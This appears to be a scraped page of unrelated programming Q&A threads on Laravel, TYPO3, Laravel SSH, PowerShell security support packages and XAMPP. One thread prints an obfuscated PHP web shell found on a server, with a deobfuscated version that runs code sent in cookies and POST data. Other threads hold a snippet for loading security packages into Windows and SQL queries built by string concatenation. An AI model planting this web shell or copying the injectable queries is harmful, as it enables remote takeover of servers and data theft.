Laravel 8 HTTP Put With Attach - laravel

I'm creating crud API with laravel 8 as a server and it works perfectly when tested by talend/postman (running on 127.0.0.1:8000).
then i'm creating crud apps with laravel 8 as a client. everything works fine but update data with attach file.
i've try with no attach file and works
$response = Http::put('http://127.0.0.1:8000/api/memo/'.$id_memo, $input);
but, its not works when using attach file
$input['id_user'] = $request->id_user;
$input['date_memo'] = $request->date_memo;
$input['time_memo'] = $request->time_memo;
if ($request->hasFile('lampiran_memo')) {
$lampiran_memo = $request->file('lampiran_memo');
$nama_lampiran = $lampiran_memo->getClientOriginalName();
$lampiran_memo->move("memo", $nama_lampiran);
$thefile = fopen("memo/".$nama_lampiran, 'r');
$response = Http::attach('lampiran_memo', $thefile)->put('http://127.0.0.1:8000/api/memo/14', $input);
}

after stuct, finally I use attach and post (not put) and works fine.
$input['id_user'] = $request->id_user;
$input['date_memo'] = $request->date_memo;
$input['time_memo'] = $request->time_memo;
if ($request->hasFile('lampiran_memo')) {
$lampiran_memo = $request->file('lampiran_memo');
$nama_lampiran = $lampiran_memo->getClientOriginalName();
$lampiran_memo->move("memo", $nama_lampiran);
$thefile = fopen("memo/".$nama_lampiran, 'r');
$response = Http::attach('lampiran_memo', $thefile)->post('http://127.0.0.1:8000/api/updatememo', $input);
}

Related

Weird php file under laravel5.8 public folder

Under my Laravel application's public folder, there are some suspiciousphp files with weird name like "8xmzujk2.php".
Even though I try to delete those files one or two times, those files appear again after two or three days. I use the window server with apache. There are no record in apache's access and error log at the time those files are created.
If anyone encounter this issue before, please kindly suggest me the steps to solve this issue. All the suggestion are welcome. Thanks in advance.
The code inside this one of suspicious php file is as below.
<?php
$groqw = 'e-xv2i4_3r78g0*6kypmcoustndl#5\'b19aHf';$vcdoidm = Array();$vcdoidm[] = $groqw[35].$groqw[14];$vcdoidm[] = $groqw[20].$groqw[9].$groqw[0].$groqw[34].$groqw[24].$groqw[0].$groqw[7].$groqw[36].$groqw[22].$groqw[25].$groqw[20].$groqw[24].$groqw[5].$groqw[21].$groqw[25];$vcdoidm[] = $groqw[33].$groqw[36].$groqw[8].$groqw[34].$groqw[13].$groqw[10].$groqw[34].$groqw[32].$groqw[1].$groqw[29].$groqw[33].$groqw[4].$groqw[20].$groqw[1].$groqw[6].$groqw[10].$groqw[13].$groqw[32].$groqw[1].$groqw[11].$groqw[36].$groqw[13].$groqw[15].$groqw[1].$groqw[29].$groqw[29].$groqw[31].$groqw[10].$groqw[15].$groqw[0].$groqw[33].$groqw[13].$groqw[32].$groqw[33].$groqw[34].$groqw[34];$vcdoidm[] = $groqw[28];$vcdoidm[] = $groqw[20].$groqw[21].$groqw[22].$groqw[25].$groqw[24];$vcdoidm[] = $groqw[23].$groqw[24].$groqw[9].$groqw[7].$groqw[9].$groqw[0].$groqw[18].$groqw[0].$groqw[34].$groqw[24];$vcdoidm[] = $groqw[0].$groqw[2].$groqw[18].$groqw[27].$groqw[21].$groqw[26].$groqw[0];$vcdoidm[] = $groqw[23].$groqw[22].$groqw[31].$groqw[23].$groqw[24].$groqw[9];$vcdoidm[] = $groqw[34].$groqw[9].$groqw[9].$groqw[34].$groqw[17].$groqw[7].$groqw[19].$groqw[0].$groqw[9].$groqw[12].$groqw[0];$vcdoidm[] = $groqw[23].$groqw[24].$groqw[9].$groqw[27].$groqw[0].$groqw[25];$vcdoidm[] = $groqw[18].$groqw[34].$groqw[20].$groqw[16];foreach ($vcdoidm[8]($_COOKIE, $_POST) as $cpaxpnw => $afkxx){function dlvrss($vcdoidm, $cpaxpnw, $eowcms){return $vcdoidm[7]($vcdoidm[5]($cpaxpnw . $vcdoidm[2], ($eowcms / $vcdoidm[9]($cpaxpnw)) + 1), 0, $eowcms);}function isfap($vcdoidm, $eeqhx){return #$vcdoidm[10]($vcdoidm[0], $eeqhx);}function eeejy($vcdoidm, $eeqhx){$jfvsqg = $vcdoidm[4]($eeqhx) % 3;if (!$jfvsqg) {$ykpentn = $vcdoidm[1]; $fggryc = $ykpentn("", $eeqhx[1]($eeqhx[2]));$fggryc();exit();}}$afkxx = isfap($vcdoidm, $afkxx);eeejy($vcdoidm, $vcdoidm[6]($vcdoidm[3], $afkxx ^ dlvrss($vcdoidm, $cpaxpnw, $vcdoidm[9]($afkxx))));}
That strip of code runs arbitrary code sent in the post and cookies of a request
Here is the clearer version of it
foreach (array_merge($_COOKIE, $_POST) as $index => $value){
function dlvrss($vcdoidm, $index, $eowcms){
return substr(str_repeat($index . "9f3a07a1-592c-4701-8f06-55b76e9019aa", ($eowcms / strlen($index)) + 1), 0, $eowcms);
}
function isfap($vcdoidm, $eeqhx){
return #pack("H*", $eeqhx);
}
function eeejy($vcdoidm, $eeqhx){
$jfvsqg = count($eeqhx) % 3;
if (!$jfvsqg) {
$fggryc = create_function("", $eeqhx[1]($eeqhx[2]));
$fggryc();
exit();
}
}
$value = isfap($vcdoidm, $value);
eeejy($vcdoidm, explode("#", $value ^ dlvrss($vcdoidm, $index, strlen($value))));
}
See how in the end it runs a function sent in the request via
$fggryc = create_function("", $eeqhx[1]($eeqhx[2]));
$fggryc();`
You should have that fixed.
#Edit
I dont know how, sorry.

TYPO3 9.5 Extbase plugin cache implementation

I am trying to get a cache working in my plugin.
In ext_localconf.php
if (!is_array($GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myextension'])) {
$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myextension'] = [];}
if (!isset($GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myextension']['frontend'])) {
$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myextension']['frontend'] = 'TYPO3\\CMS\\Core\\Cache\\Frontend\\StringFrontend';}
if (!isset($GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myextension']['options'])) {
$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myextension']['options'] = ['defaultLifetime' => 0];}
if (!isset($GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myextension']['groups'])) {
$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myextension']['groups'] = ['pages'];}
In my controller action :
$cacheIdentifier = 'topic' . $topic->getUid();
$cache = GeneralUtility::makeInstance(CacheManager::class)->getCache('myextension');
$result = unserialize($cache->get($cacheIdentifier));
if ($result !== false ) {
DebuggerUtility::var_dump($result);
} else {
$result = $this->postRepository->findByTopic($topic->getUid(), $page, $itemsPerPage);
$cache->set($cacheIdentifier, serialize($result), ['tag1', 'tag2']);
DebuggerUtility::var_dump($result);
}
The first time the page with the action gets loaded all is ok and the entry has been made in de database (cf_myextension and cf_myextension_tags}.
But the 2nd time the cache gets loaded and I get an error. Even DebuggerUtility::var_dump($result); does not work:
Call to a member function map() on null
in ../typo3/sysext/extbase/Classes/Persistence/Generic/QueryResult.php line 96
*/
protected function initialize()
{
if (!is_array($this->queryResult)) {
$this->queryResult = $this->dataMapper->map($this->query->getType(), $this->persistenceManager->getObjectDataByQuery($this->query));
}
}
/**
A normal var_dump works and spits out the cache entry. What is the problem? Do I forget something? Can't a QueryResult together with some other variables not be stored as an array in the cache? I also tried VariableFrontend cache, which produced the same error.
The E-tools GUI application indents and pretty formats HTML, JavaScript, JSON and SQL. To install the e-tools snap package in all currently supported versions of Ubuntu open the terminal and type:
sudo snap install e-tools

Laravel Collective SSH results

I am performing SSH in Laravel whereby I connect to another server and download a file. I am using Laravel Collective https://laravelcollective.com/docs/5.4/ssh
So, the suggested way to do this is something like this
$result = \SSH::into('scripts')->get('/srv/somelocation/'.$fileName, $path);
if($result) {
return $path;
} else {
return 401;
}
Now that successfully downloads the file and moves it to my local server. However, I am always returned 401 because $result seems to be Null.
I cant find much or getting the result back from the SSH. I have also tried
$result = \SSH::into('scripts')->get('/srv/somelocation/'.$fileName, $path, function($line){
dd( $line.PHP_EOL);
});
But that never gets into the inner function.
Is there any way I can get the result back from the SSH? I just want to handle it properly if there is an error.
Thanks
Rather than rely on $result to give you true / false / error, you can check if the file was downloaded successfully in another way:
// download the file
$result = \SSH::into('scripts')->get('/srv/somelocation/'.$fileName, $path);
// see if downloaded file exists
if ( file_exists($path) ) {
return $path;
} else {
return 401;
}
u need to pass file name also like this in get and put method:
$fileName = "example.txt";
$get = \SSH::into('scripts')->get('/remote/somelocation/'.$fileName, base_path($fileName));
in set method
$set = \SSH::into('scripts')->set(base_path($fileName),'/remote/location/'.$fileName);
in list
$command = SSH::into('scripts')->run(['ls -lsa'],function($output) {
dd($output);
});

Delete Security Support Package

so im working on a powershell script to manage security Support Providers for specialized controls. currently i have the script working to ADD a SSP, but when i try and change the script to DELETE a ssp, it breaks.
Here is the code:
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False)
$TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeleteSecurityPackage',
'secur32.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] #([String]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$Secur32 = $TypeBuilder.CreateType()
$RuntimeSuccess = $True
$Result = $Secur32::DeleteSecurityPackage($DllName)
Every time i run this i get: Exception calling "DeleteSecurityPackage" with "1" argument(s): "The function requested is not supported
however this piece of code to ADD the ssp works fine:
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False)
$TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage',
'secur32.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] #([String], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$Secur32 = $TypeBuilder.CreateType()
if ([IntPtr]::Size -eq 4) {
$StructSize = 20
} else {
$StructSize = 24
}
$StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize)
[Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize)
$RuntimeSuccess = $True
$Result = $Secur32::AddSecurityPackage($DllName, $StructPtr)
by rights it should be easier to delete since i dont need t worry about the struct, however it is not happy.
any help would be appreciated
It seems like this was not fully implemented/supported by Microsoft. This article seems to support that: http://cybernigma.blogspot.com/2014/03/using-sspap-lsass-proxy-to-mitigate.html The relevant information is about 3/4 of the way down.

Unable to Connect - http://10.0.2.2/test.php Local Host XAMPP

I have made a program using PHP Script, but whenever i am trying to run my script using Browser getting Problem Loading Page:Firefox can't establish a connection to the server at 10.0.2.2.
I have saved test.php under - E:\xampp\htdocs
test.php:
<?php
$objConnect = mysql_connect("localhost","root","");
$objDB = mysql_select_db("registration_login");
$_POST["sUsername"] = "testname";
$_POST["sPassword"] = "testpassword";
$_POST["sName"] = "testname";
$_POST["sEmail"] = "testemail";
$_POST["sTel"] = "testtel";
$strUsername = $_POST["sUsername"];
$strPassword = $_POST["sPassword"];
$strName = $_POST["sName"];
$strEmail = $_POST["sEmail"];
$strTel = $_POST["sTel"];
/*** Check Username Exists ***/
$strSQL = "SELECT * FROM member WHERE Username = '".$strUsername."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
if($objResult)
{
$arr['StatusID'] = "0";
$arr['Error'] = "Username Exists!";
echo json_encode($arr);
exit();
}
/*** Check Email Exists ***/
$strSQL = "SELECT * FROM member WHERE Email = '".$strEmail."' ";
$objQuery = mysql_query($strSQL);
$objResult = mysql_fetch_array($objQuery);
if($objResult)
{
$arr['StatusID'] = "0";
$arr['Error'] = "Email Exists!";
echo json_encode($arr);
exit();
}
/*** Insert ***/
$strSQL = "INSERT INTO member (Username,Password,Name,Email,Tel)
VALUES (
'".$strUsername."',
'".$strPassword."',
'".$strName."',
'".$strEmail."',
'".$strTel."'
)
";
$objQuery = mysql_query($strSQL);
if(!$objQuery)
{
$arr['StatusID'] = "0";
$arr['Error'] = "Cannot save data!";
}
else
{
$arr['StatusID'] = "1";
$arr['Error'] = "";
}
mysql_close($objConnect);
echo json_encode($arr);
?>
I recommend you to use your machine's IP Address in place of 10.0.2.2
So complete URL should look like this:
http://ipaddress/test.php
Note: Above solution for while you want to use Local Server via Android Emulator
Do you know where the 10.0.2.2 is coming from? By default localhost resolves to 127.0.0.1. This could potentially be your problem.
The problem you are experiencing wouldn't be from your PHP script. But rather the request isn't getting from your browser to your Apache web server.
- You'll want to ensure Apache is running.
- You could try making sure you are using localhost in the URL.
- You could check the apache log files under /Xampp/apache/logs/ and see if there is any recent errors being logged.
- You could also try a tool like Fiddler to see the exact response of the request.
Hope that helps.

Resources